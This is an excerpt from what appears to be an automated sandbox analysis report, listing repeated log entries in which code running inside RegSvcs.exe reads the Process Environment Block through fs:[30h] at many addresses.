            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E03E9 mov eax, dword ptr fs:[00000030h]4_2_014E03E9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015063FF mov eax, dword ptr fs:[00000030h]4_2_015063FF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE3F0 mov eax, dword ptr fs:[00000030h]4_2_014EE3F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE3F0 mov eax, dword ptr fs:[00000030h]4_2_014EE3F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE3F0 mov eax, dword ptr fs:[00000030h]4_2_014EE3F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F438F mov eax, dword ptr fs:[00000030h]4_2_014F438F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F438F mov eax, dword ptr fs:[00000030h]4_2_014F438F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CE388 mov eax, dword ptr fs:[00000030h]4_2_014CE388
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CE388 mov eax, dword ptr fs:[00000030h]4_2_014CE388
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CE388 mov eax, dword ptr fs:[00000030h]4_2_014CE388
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C8397 mov eax, dword ptr fs:[00000030h]4_2_014C8397
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C8397 mov eax, dword ptr fs:[00000030h]4_2_014C8397
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C8397 mov eax, dword ptr fs:[00000030h]4_2_014C8397
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A625D mov eax, dword ptr fs:[00000030h]4_2_015A625D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158A250 mov eax, dword ptr fs:[00000030h]4_2_0158A250
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158A250 mov eax, dword ptr fs:[00000030h]4_2_0158A250
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6259 mov eax, dword ptr fs:[00000030h]4_2_014D6259
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01558243 mov eax, dword ptr fs:[00000030h]4_2_01558243
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01558243 mov ecx, dword ptr fs:[00000030h]4_2_01558243
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CA250 mov eax, dword ptr fs:[00000030h]4_2_014CA250
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C826B mov eax, dword ptr fs:[00000030h]4_2_014C826B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01580274 mov eax, dword ptr fs:[00000030h]4_2_01580274
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4260 mov eax, dword ptr fs:[00000030h]4_2_014D4260
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4260 mov eax, dword ptr fs:[00000030h]4_2_014D4260
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4260 mov eax, dword ptr fs:[00000030h]4_2_014D4260
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C823B mov eax, dword ptr fs:[00000030h]4_2_014C823B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A62D6 mov eax, dword ptr fs:[00000030h]4_2_015A62D6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA2C3 mov eax, dword ptr fs:[00000030h]4_2_014DA2C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA2C3 mov eax, dword ptr fs:[00000030h]4_2_014DA2C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA2C3 mov eax, dword ptr fs:[00000030h]4_2_014DA2C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA2C3 mov eax, dword ptr fs:[00000030h]4_2_014DA2C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA2C3 mov eax, dword ptr fs:[00000030h]4_2_014DA2C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E02E1 mov eax, dword ptr fs:[00000030h]4_2_014E02E1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E02E1 mov eax, dword ptr fs:[00000030h]4_2_014E02E1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E02E1 mov eax, dword ptr fs:[00000030h]4_2_014E02E1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E284 mov eax, dword ptr fs:[00000030h]4_2_0150E284
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E284 mov eax, dword ptr fs:[00000030h]4_2_0150E284
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01550283 mov eax, dword ptr fs:[00000030h]4_2_01550283
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01550283 mov eax, dword ptr fs:[00000030h]4_2_01550283
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01550283 mov eax, dword ptr fs:[00000030h]4_2_01550283
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E02A0 mov eax, dword ptr fs:[00000030h]4_2_014E02A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E02A0 mov eax, dword ptr fs:[00000030h]4_2_014E02A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015662A0 mov eax, dword ptr fs:[00000030h]4_2_015662A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015662A0 mov ecx, dword ptr fs:[00000030h]4_2_015662A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015662A0 mov eax, dword ptr fs:[00000030h]4_2_015662A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015662A0 mov eax, dword ptr fs:[00000030h]4_2_015662A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015662A0 mov eax, dword ptr fs:[00000030h]4_2_015662A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015662A0 mov eax, dword ptr fs:[00000030h]4_2_015662A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D8550 mov eax, dword ptr fs:[00000030h]4_2_014D8550
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D8550 mov eax, dword ptr fs:[00000030h]4_2_014D8550
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150656A mov eax, dword ptr fs:[00000030h]4_2_0150656A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150656A mov eax, dword ptr fs:[00000030h]4_2_0150656A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150656A mov eax, dword ptr fs:[00000030h]4_2_0150656A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01566500 mov eax, dword ptr fs:[00000030h]4_2_01566500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4500 mov eax, dword ptr fs:[00000030h]4_2_015A4500
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE53E mov eax, dword ptr fs:[00000030h]4_2_014FE53E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE53E mov eax, dword ptr fs:[00000030h]4_2_014FE53E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE53E mov eax, dword ptr fs:[00000030h]4_2_014FE53E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE53E mov eax, dword ptr fs:[00000030h]4_2_014FE53E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE53E mov eax, dword ptr fs:[00000030h]4_2_014FE53E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0535 mov eax, dword ptr fs:[00000030h]4_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0535 mov eax, dword ptr fs:[00000030h]4_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0535 mov eax, dword ptr fs:[00000030h]4_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0535 mov eax, dword ptr fs:[00000030h]4_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0535 mov eax, dword ptr fs:[00000030h]4_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0535 mov eax, dword ptr fs:[00000030h]4_2_014E0535
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A5D0 mov eax, dword ptr fs:[00000030h]4_2_0150A5D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A5D0 mov eax, dword ptr fs:[00000030h]4_2_0150A5D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D65D0 mov eax, dword ptr fs:[00000030h]4_2_014D65D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E5CF mov eax, dword ptr fs:[00000030h]4_2_0150E5CF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E5CF mov eax, dword ptr fs:[00000030h]4_2_0150E5CF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE5E7 mov eax, dword ptr fs:[00000030h]4_2_014FE5E7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D25E0 mov eax, dword ptr fs:[00000030h]4_2_014D25E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C5ED mov eax, dword ptr fs:[00000030h]4_2_0150C5ED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C5ED mov eax, dword ptr fs:[00000030h]4_2_0150C5ED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E59C mov eax, dword ptr fs:[00000030h]4_2_0150E59C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D2582 mov eax, dword ptr fs:[00000030h]4_2_014D2582
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D2582 mov ecx, dword ptr fs:[00000030h]4_2_014D2582
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01504588 mov eax, dword ptr fs:[00000030h]4_2_01504588
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015505A7 mov eax, dword ptr fs:[00000030h]4_2_015505A7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015505A7 mov eax, dword ptr fs:[00000030h]4_2_015505A7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015505A7 mov eax, dword ptr fs:[00000030h]4_2_015505A7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F45B1 mov eax, dword ptr fs:[00000030h]4_2_014F45B1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F45B1 mov eax, dword ptr fs:[00000030h]4_2_014F45B1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158A456 mov eax, dword ptr fs:[00000030h]4_2_0158A456
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C645D mov eax, dword ptr fs:[00000030h]4_2_014C645D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150E443 mov eax, dword ptr fs:[00000030h]4_2_0150E443
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F245A mov eax, dword ptr fs:[00000030h]4_2_014F245A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155C460 mov ecx, dword ptr fs:[00000030h]4_2_0155C460
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FA470 mov eax, dword ptr fs:[00000030h]4_2_014FA470
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FA470 mov eax, dword ptr fs:[00000030h]4_2_014FA470
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FA470 mov eax, dword ptr fs:[00000030h]4_2_014FA470
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01508402 mov eax, dword ptr fs:[00000030h]4_2_01508402
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01508402 mov eax, dword ptr fs:[00000030h]4_2_01508402
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01508402 mov eax, dword ptr fs:[00000030h]4_2_01508402
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A430 mov eax, dword ptr fs:[00000030h]4_2_0150A430
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CC427 mov eax, dword ptr fs:[00000030h]4_2_014CC427
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CE420 mov eax, dword ptr fs:[00000030h]4_2_014CE420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CE420 mov eax, dword ptr fs:[00000030h]4_2_014CE420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CE420 mov eax, dword ptr fs:[00000030h]4_2_014CE420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01556420 mov eax, dword ptr fs:[00000030h]4_2_01556420
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D04E5 mov ecx, dword ptr fs:[00000030h]4_2_014D04E5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158A49A mov eax, dword ptr fs:[00000030h]4_2_0158A49A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015044B0 mov ecx, dword ptr fs:[00000030h]4_2_015044B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155A4B0 mov eax, dword ptr fs:[00000030h]4_2_0155A4B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D64AB mov eax, dword ptr fs:[00000030h]4_2_014D64AB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01554755 mov eax, dword ptr fs:[00000030h]4_2_01554755
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512750 mov eax, dword ptr fs:[00000030h]4_2_01512750
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512750 mov eax, dword ptr fs:[00000030h]4_2_01512750
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155E75D mov eax, dword ptr fs:[00000030h]4_2_0155E75D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0750 mov eax, dword ptr fs:[00000030h]4_2_014D0750
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150674D mov esi, dword ptr fs:[00000030h]4_2_0150674D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150674D mov eax, dword ptr fs:[00000030h]4_2_0150674D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150674D mov eax, dword ptr fs:[00000030h]4_2_0150674D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D8770 mov eax, dword ptr fs:[00000030h]4_2_014D8770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0770 mov eax, dword ptr fs:[00000030h]4_2_014E0770
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01500710 mov eax, dword ptr fs:[00000030h]4_2_01500710
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C700 mov eax, dword ptr fs:[00000030h]4_2_0150C700
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0710 mov eax, dword ptr fs:[00000030h]4_2_014D0710
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154C730 mov eax, dword ptr fs:[00000030h]4_2_0154C730
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150273C mov eax, dword ptr fs:[00000030h]4_2_0150273C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150273C mov ecx, dword ptr fs:[00000030h]4_2_0150273C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150273C mov eax, dword ptr fs:[00000030h]4_2_0150273C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C720 mov eax, dword ptr fs:[00000030h]4_2_0150C720
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C720 mov eax, dword ptr fs:[00000030h]4_2_0150C720
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DC7C0 mov eax, dword ptr fs:[00000030h]4_2_014DC7C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015507C3 mov eax, dword ptr fs:[00000030h]4_2_015507C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F27ED mov eax, dword ptr fs:[00000030h]4_2_014F27ED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F27ED mov eax, dword ptr fs:[00000030h]4_2_014F27ED
